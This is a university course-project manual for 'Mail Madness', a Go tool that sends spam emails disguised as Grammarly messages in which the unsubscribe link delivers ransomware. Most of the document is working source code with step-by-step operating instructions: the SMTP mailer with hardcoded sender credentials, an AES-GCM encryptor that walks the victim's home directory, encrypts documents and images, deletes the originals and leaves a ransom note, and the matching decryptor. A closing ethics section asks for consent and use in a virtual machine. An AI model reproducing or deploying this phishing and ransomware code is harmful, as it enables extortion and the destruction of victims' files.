Hacking Tool User's Manual

An output submitted to:

Mr. Adrian Giovanni Ascan

College of Computer Studies

Department of Computer Technology

Term 3, AY 2023-2024

In partial fulfillment of the requirements for

NSSECU2: Advanced and Offensive Security

Submitted by:

Group 4:

Chua, Judy

Ha, Eun Ji

Pedernal, Elaine

Rañada, Arianne

Telosa, Arwyn Gabrielle

Uy, Jasmine Louise

July 31, 2024

Table of Contents

I. Introduction

Mail Madness is a hacking program that functions similarly to a phishing attack and targets its victims through email. The attack commences by inundating a user with a barrage of repetitive emails. Once the target becomes weary of them, they will feel obligated to cancel their subscription. However, once clicking the unsubscribe button, a malicious software known as ransomware will be downloaded onto the victim's computer. Until the ransom is paid, all the files will be encrypted and inaccessible. The files will only be available upon providing a password given by the hackers. The password will be disclosed only upon receipt of the ransom by the hackers.

Mail Madness poses a significant risk since it exploits the unsubscribe functionality. While it may seem like unsubscribing results in the victim being completely separated from the sender, it really initiates the link between the victim and the hacker. In addition, rather than instructing the potential victim to "click here for a prize," the approach is reversed, with the victim being instructed to click in order to opt out.

II. Prerequisites

To successfully run the applications, the victim machine must run the encryption file to be downloaded to their computer.

III. System Overview

The constituent subprograms of the tool are enumerated in Table 1. Descriptions for each item are also provided.

Table 1

Subprograms of the hacking tool

Subprogram	Description
Mail_Madness.go	● Sends emails containing the malicious program ● Can edit the configurations needed for the email: ○ Amount of money to extort ○ Cryptocurrency link ○ Key (for decryption) ○ Subject / header ○ Target email address ○ HTML Template ○ Note: Sender email setting cannot be edited
temp1.html	Design of the spam email
temp2.html	Alternate design for the spam email
temp3.html	Alternate design for the spam email
index.html	HTML template
indexwindows.html	HTML template

temp1win.html	HTML template
temp2win.html	HTML template
upgradegrammarly.html	HTML template
encrypt.go	• Encrypts the victim's .txt, .pdf, .docx, .jpeg, and .png files via AES • Can customize key, ransom amount, and crypto link • Displays ransom note
decrypt.go	• Gets key as input and once a correct key is given, the files will be decrypted. Otherwise, it will decrypt but the contents will be gone
encryptor	Encrypts files

IV. Detailed Instructions (How To Operate)

A. Installing Go in Kali Linux

1. Go to go.dev/doc/install
2. Download the Linux version
3. Open the Terminal
4. Go to the Downloads folder using the command `cd Downloads`
5. Get root access using the command `sudo su`

6. Copy the first instruction from the Go website then execute (use ctrl+shift+v for pasting): `rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.5.linux-amd64.tar.gz`
7. Execute the second instruction posted on the website by:
    a. Execute `sudo nano $HOME/.profile`
    b. Add `export PATH=$PATH:/usr/local/go/bin` to the file
    c. Save the file via CTRL + O, enter, then CTRL + X
    d. Do `source $HOME/.profile` to immediately reflect the changes
8. Verify if the installation was successful using the command: `go version`

B. Running the Program

a. Navigate to the directory where Mail_Madness.go is located (i.e. `cd /path/to/your/Mail_Madness.go`)

b. Run the hacking tool program by typing `go run Mail_Madness.go` in the terminal.

C. Navigating through the Program

a. The following commands have been set in order to customize the sending of email to the target. It is important to note that the commands are case sensitive.

b. `display`

    i. This command prints the current settings of the program.

c. `GO MAIL MADNESS`

i. This command starts sending the target a ransomware email based on settings. Additionally, there is a pre-configured encrypt.exe hidden under the unsubscribe button.

d. `help`

i. This command displays the available commands for this tool

e. `set SUBJECT <message>`

i. This command sets the subject of the email to be sent to the target with the ransomware. Also note that the subject will automatically change when the template of the email is changed. The user will be warned about it.

f. `set TARGET_ADDR <target email address>`

i. This command sets the email address of the target to be the receiver for the email. It checks whether the email address to be inputted exists or not.

g. `set TEMPLATE <html_file>`

i. This command sets the body of the email. It is in HTML form in order to copy the designs of the organization we are disguised, which in this case is grammarly.

ii. The package has presets of templates the user can choose from. They can be viewed by simply clicking the HTML files.

iii. In consideration of trying the tool in Windows, there are also templates available if the target is using Windows but for this demo, the target will be using Kali Linux.

h. `quit`

i. This command exits the program and will not save nor send anything to the target.

V. Code Implementation

More detailed explanations of how each subprogram works can be found on Tables 2 to 4.

Table 2

Mail Madness main program code explanation

Code block	Explanation

`package main`
 	
`import (`
`"bufio"`
`"fmt"`
`"net/mail"`
`"os"`
`"strconv"`
`"strings"`
`)`
 	
`type Settings struct {`
`amount int`
`link string`
`key string`
`sender_email string`
	Package Import and Struct Definition
	
	Imports: Imports necessary libraries including bufio for buffered I/O, fmt for printing, net/mail for email address validation, os for file handling, strconv for string conversion, and strings for string manipulation.
	
	Settings Struct: Defines the Settings struct to hold the configuration details.

```
	sender_pass  string
	target_email string
	template     string
}

var current = Settings{
	amount:       10000,
	link:
"bitcoin.com/uh4v3b33nh4ck3d",
	key:
"32charactersforthekeysoifillitu
p",
	sender_email:
"scammersample@gmail.com",
	sender_pass:
"timetoscamsophia",
	target_email:
"sophiaishere291@gmail.com",
	template:
"sample.html",
}
```

Current Settings: Initializes a variable current with default values for the settings.

```
func main() {
	command := "hello"

	design()
	fmt.Println("THANK YOU
FOR USING MAIL MADNESS. In this
```

Main Function

Introduction and Instructions: Displays the program's purpose and available commands.

```
tool, we can help you create a")
      .. .. ..
      fmt.Println("Have fun
using this tool! :)\n")

      scan :=
bufio.NewReader(os.Stdin)
      for command != "quit" {
         fmt.Print("Command: ")
         command, _ =
scan.ReadString('\n')
         command =
strings.TrimSpace(command)
         splitWords :=
strings.Fields(command)

    if len(splitWords) == 3 {
      first := splitWords[0]
      if first == "set" {
        second := splitWords[1]
        third := splitWords[2]
        if second ==
"TARGET_ADDR" {
          validateTarget(third)
        } else if second ==
"TEMPLATE" {
          validateHTML(third)
        } else {
```

Note: This truncates a portion of a code that is excessively lengthy to be incorporated, as it would occupy the majority of the available space.

Command Loop: Continuously reads user input and processes commands until the user types "quit".

Command Processing: Splits the input into words and processes commands based on their length and specific keywords.

Note: This refers to a portion of the

```
            errorMsg()
          }
    } else if command == "GO
MAIL MADNESS" {
      buildEncryption()
      buildDecryption()
      sendEmail()
    } else {
      errorMsg()
    }
  } else if command == "set
SENDER_ADDR" && len(splitWords)
== 2 {
    validateSender()
  } else if command == "display"
&& len(splitWords) == 1 {
    .. .. .. ..
  } else if command == "quit" &&
len(splitWords) == 1 {
    fmt.Println("Thank you for
using MAIL MADNESS! Go forth and
be crazy.")
 fmt.Println("Quitting...\n\n")
  break
  } else {
      errorMsg()
  }
 }
```

code that processes the command.

```
}
```

```
func displayCommands() {
	fmt.Println("'''DISPLAYING
SET OF COMMANDS'''")
	fmt.Println("   display")
	fmt.Println("       -->
prints the current settings user
made")
	fmt.Println("   GO MAIL
MADNESS")
	fmt.Println("       -->
start sending the target a
ransomware email based on
settings")
	.. .. ..
	fmt.Println("   quit")
	fmt.Println("       -->
exit the program. Will not save
nor send anything")
	fmt.Println("'''\n")
}

func displaySettings() {
	strAmount :=
strconv.Itoa(current.amount)
	fmt.Println("==DISPLAYING
CURRENT SETTINGS==")
```

Command Display & Settings Display Functions

Display Commands: Prints a list of available commands.

Display Settings: Prints the current settings in a formatted manner.

```
      fmt.Println("  AMOUNT
|  P " + strAmount)
      fmt.Println("  LINK
|  " + current.link)
      fmt.Println("  KEY
|  " + current.key)
      fmt.Println("  SENDER
EMAIL     |  " +
current.sender_email)
      fmt.Println("  SENDER
PASSWORD  |  " +
current.sender_pass)
      fmt.Println("  TARGET
EMAIL     |  " +
current.target_email)
      fmt.Println("  TEMPLATE
|  " + current.template)
      fmt.Println("==\n")
}
```

```
func validateTarget(address
string) {
      _, err :=
mail.ParseAddress(address)
      if err != nil {
        fmt.Println("ERROR:
Email Address is invalid. Try
again.\n")
```

Validation Function

Validate Target: Validates the input email address and updates the target email if valid.

Validate HTML: Checks if the

```
      } else {
        fmt.Println("Changed
target email address to " +
address + "\n")
        current.target_email =
address
      }
}

func validateHTML(file string) {
    exists := false
    for index, temp := range
templateChoice {
      if file == temp {
        fmt.Println("Changed
template to " + file + "...")
        fmt.Println("Subject
will also be changed to " +
defaultSubject[index] + "\n")
        current.template = file
        current.subject =
defaultSubject[index]
        exists = true
        break
      }
    }

      if exists == false {
```

HTML file exists within the given sample in the package. Shows the possible HTML files to pick when it inputs non-existing file.

```
        fmt.Println("ERROR:
Template is invalid. Kindly
choose one of the these: ")
        fmt.Print("         ")
        for _, temp := range
templateChoice {
            fmt.Print(temp + "
")
            }
        fmt.Println("\n")
      }
}
```

```
func errorMsg() {
      fmt.Println("ERROR:
Unknown command. Refer to help
for more information.")
      fmt.Println("Note:
Commands are case
sensitive!!\n")
}

func design() {
      //design of Mail Madness
using fmt.Println()
}
```

Error Message & Design Functions

Error Message: Prints an error message for unknown commands.

Design: Prints an ASCII art design for the program.

```
func buildEncryption() {
      fmt.Print("Building
```

```
encrypt... ")
	//does nothing since
there is already a pre-built
encrypt.exe on the server
	fmt.Println(" done")
}

func buildDecryption() {
	fmt.Print("Building
decrypt... ")
	cmd := exec.Command("go",
"build", "decrypt.go")
	err := cmd.Run()
	if err != nil {

fmt.Println("Error:", err)
	} else {
		fmt.Println("
done")
	}
}
```

```
func sendEmail() {
	fmt.Println("Starting to
send email...")
// Read the HTML template file
	htmlContent, err :=
ioutil.ReadFile(current.template
```

```
)
      if err != nil {
        fmt.Println("Failed to
read HTML template:", err)
        return
      }
      fmt.Println("HTML content
read successfully.")

// Modify HTML content to
include a link to download the
encryption program
      htmlContentWithLink :=
strings.Replace(string(htmlConte
nt), "{{download_link}}",
current.server_url, -1)
// Update the SMTP server to
Gmail
      auth :=
smtp.PlainAuth("",
current.sender_email,
current.sender_pass,
"smtp.gmail.com")

      to :=
[]string{current.target_email}
      msg := []byte("To: " +
current.target_email + "\r\n" +
```

```
"Subject: " + current.subject +
"\r\n" + "MIME-Version: 1.0\r\n"
+ "Content-Type: text/html;
charset=\"UTF-8\"\r\n" + "\r\n"
+ htmlContentWithLink + "\r\n")

// Connect to the SMTP server
      fmt.Println("Connecting
to the SMTP server...")
      err =
smtp.SendMail("smtp.gmail.com:58
7", auth, current.sender_email,
to, msg)
      if err != nil {
        fmt.Println("Failed to
send email:", err)
      } else {
        fmt.Println("Email sent
successfully to",
current.target_email)
        finalMsg()
      }
}
func finalMsg() {
  fmt.Println(" ")
  fmt.Println("CONGRATULATIONS!
You have successfully..")
  .. .. ..
```

```
  fmt.Println("You may continue
with the program again. Best of
luck!\n")
}
```

Table 3

Encryption program code breakdown

Code Block	Explanation

`package main`
 	
`import (`
`"fmt"`
`"crypto/aes"`
`"crypto/cipher"`
`"path/filepath"`
`"os"`
`"io"`
`"crypto/rand"`
`"strings"`
`)`
	Package Import & Variable Declaration
	
	Imports: Necessary libraries for the program include fmt for printing, crypto/aes and crypto/cipher for encryption, os and io for file handling, crypto/rand for generating random numbers, and strings for string manipulation.

`// default variables that can be overwritten`
`var (`
`Key string = "32charactersforthekeysoifillitu`
	Default Variables: Default values for the encryption key (Key), ransom amount (amount), and crypto link

```
p"
    amount string = "10000"
    cryptoLink string =
"bitcoin.com/uh4v3b33nh4ck3d"
)
```

(cryptoLink). These can be overwritten when building the program.

```
func main() {
    key := []byte(Key) // must
be 32 characters

    block, errBlock :=
aes.NewCipher(key) // set up AES
cipher using private key
    if errBlock != nil {
        fmt.Println("error in
key") // print out error then
end program
        return
    }

    gcm, err :=
cipher.NewGCM(block)
    if err != nil {
        fmt.Println("error in
gcm")
        return
    }
```

Main Function & AES Setup

Key Setup: Converts the Key string to a byte slice.

AES Cipher: Initializes an AES cipher block with the key. If there's an error, it prints an error message and exits.

GCM Mode: Sets up Galois/Counter Mode (GCM) for the AES cipher. If there's an error, it prints an error message and exits.

dir, err := os.UserHomeDir()
if err != nil {
fmt.Println("error getting dir")
return
}
	Directory & File Extensions
	
	Directory Path: Specifies the user's home directory to search for files to encrypt.

extensions := []string{".txt", ".pdf", ".docx", ".jpeg", ".png"}	**File Extensions:** Specifies which file types to encrypt.

filepath.Walk(dir, func(path string, info os.FileInfo, errPath error) error {
if errPath != nil {
fmt.Println("error in pathing")
}
if info != nil && !info.IsDir() {
ext := strings.ToLower(filepath.Ext(path))
for _, checkExt := range extensions {
if ext == checkExt {
fmt.Println("Encrypting
	File Encryption Loop
	
	File Walker: Walks through each file in the specified directory.
	
	Error Handling: Checks for path errors.
	
	File Check: Checks if the current item is a file and not a directory.
	
	Extension Check: Checks if the file has one of the specified extensions.

```
" + path + "...") // for
checking
        original, errFile :=
os.ReadFile(path)
        if errFile == nil {
          nonce := make([]byte,
gcm.NonceSize()) // nonce means
number used once

io.ReadFull(rand.Reader, nonce)
          encrypted :=
gcm.Seal(nonce, nonce, original,
nil) // encrypt here

          errWrite :=
os.WriteFile(path + ".locked",
encrypted, 0666)
          if errWrite == nil {
// no error so delete the file
             os.Remove(path)
          } else {
             fmt.Println("error
encrypting content") // for
checking
          }
       } else {
         fmt.Println("error
reading this file")
```

Encryption Process:

- Reads the file contents.
- Generates a nonce (number used once) for encryption.
- Encrypts the file contents using GCM mode.
- Writes the encrypted contents to a new file with a .locked extension.
- Deletes the original file if encryption is successful.

```
        }
        break // no need to loop
further since file can only have
one ext
      }
    }
   }
  return nil // return nothing
since return is needed
})
```

```
    textPath, err :=
os.Executable() // location of
the program
    if err != nil {
        fmt.Println("error in
getting the program")
        return
    }

    execDir :=
filepath.Dir(textPath)
    textFilePath :=
filepath.Join(execDir,
"YOU_HAVE_BEEN_HACKED.txt")
    content :=
"CONGRATULATIONS!\n" + "Some of
your file ESPECIALLY IMPORTANT
```

Ransom Note Creation

Executable Path: Gets the path of the current executable.

Ransom Note Path: Determines where to place the ransom note.

Ransom Note Content: Creates the content of the ransom note.

Write Ransom Note: Writes the ransom note to a file. If successful, it prints a message indicating the file

```
FILES have already been
encrypted!\n" + "To bring them
back, you can send your payment
on our account.\n" + "PAY US P"
+ amount + " (less == bye bye
files)\n" + "Pay here: " +
cryptoLink + "\n\n" + "Don't
worry. Once we have received
your money, we will immediately
email you\n" + "the file for
decrypting all of the files we
have encrypted. We promise!\n\n"
+ "BIG NOTE: If you incorrectly
input the key in the file, all
your files will be\n" + "
FOREVER GONE!! BEWARE!! YOU HAVE
BEEN WARNED!!\n" + "
(we still want you to get your
files back)"
    fileError :=
os.WriteFile(textFilePath,
[]byte(content), 0644)
    if fileError != nil {
        fmt.Println("error
writing text")
        return
    }
    fmt.Println("CREATED NEW
```

was created.

FILE! Check it out on " +
textFilePath) // for checking
}

Table 4

Decryption program code breakdown

Code Block	Explanation
package main import ("fmt" "crypto/aes" "crypto/cipher" "path/filepath" "os") func main() { var key string fmt.Print("Insert Key: ") fmt.Scanln(&key)	**Package Import and Main Function Setup** **Imports:** Imports necessary libraries for the program including fmt for printing, crypto/aes and crypto/cipher for decryption, os for file handling, and path/filepath for file path manipulation. **Main Function:** The entry point of the program. **Key Input:** Prompts the user to enter the decryption key and reads it into the

	key variable.

block, errBlock := aes.NewCipher([]byte(key)) // check key
if errBlock != nil {
fmt.Println("Character error? Try again...") // print out error then end program
return
}
	AES Setup
	
	Key Validation: Converts the entered key to a byte slice and initializes an AES cipher block with it. If there's an error (e.g., incorrect key length), it prints an error message and exits.

gcm, err := cipher.NewGCM(block)
if err != nil {
fmt.Println(" ")
return
}
	GCM Mode: Sets up Galois/Counter Mode (GCM) for the AES cipher. If there's an error, it prints an error message and exits.

dir := "./home" // for testing purposes only
if err != nil {
fmt.Println(" ")
return
}
	Directory Setup
	
	Directory Path: Specifies the directory to search for files to decrypt. For testing, it's set to "./home".

filepath.Walk(dir, func(path string, info os.FileInfo,	**File Decryption Loop**

```
errPath error) error {
        if errPath != nil {
            fmt.Println("error
in pathing")
        }

        if info != nil &&
!info.IsDir() &&
path[len(path)-7:] == ".locked"
{ // change .locked and 7

fmt.Println("Decrypting " + path
+ "...") // for checking

            encrypted, errFile
:= os.ReadFile(path)
            if errFile == nil {
// this means no error
                nonce :=
encrypted[:gcm.NonceSize()] //
extract nonce from encrypted
bytes
                encrypted =
encrypted[gcm.NonceSize():]
                original,
errWrite := gcm.Open(nil, nonce,
encrypted, nil)
```

File Walker: Walks through each file in the specified directory.

Error Handling: Checks for path errors.

File Check: Checks if the current item is a file, not a directory, and if the file has the .locked extension.

Decryption Process:

- Reads the encrypted file contents.
- Extracts the nonce (number used once) from the beginning of the encrypted file contents.
- Decrypts the remaining file contents using GCM mode.
- Writes the decrypted contents back to a new file with the original name (removing the .locked extension).

```
                errWrite =
os.WriteFile(path[:len(path)-7],
original, 0666)
                if errWrite ==
nil { // no error

os.Remove(path) // delete the
encrypted file for clean up
                } else {

fmt.Println("error decrypting
content") // for checking
                }

            } else {

fmt.Println("error reading this
file")
            }
        }

        return nil // return
nothing since return is needed
    })
}
```

- Deletes the encrypted file if decryption and writing are successful.

VI. Recommendations and Ethical Considerations

This program was created as a mandatory component of a course project. When showcasing its capabilities, it is highly recommended to utilize a controlled setting like a virtual machine. Furthermore, be sure that any sample files designated for encryption are not crucial and can be readily substituted.

Use of this software should solely take place with the clear awareness and agreement of the "victim". It is necessary to provide the "victim" with precise information regarding the specific characteristics and functioning of the program. Engaging in unauthorized usage against an individual without their explicit consent is explicitly forbidden and subject to legal consequences. It is imperative to consistently follow ethical norms and legal requirements when deploying this kind of technology.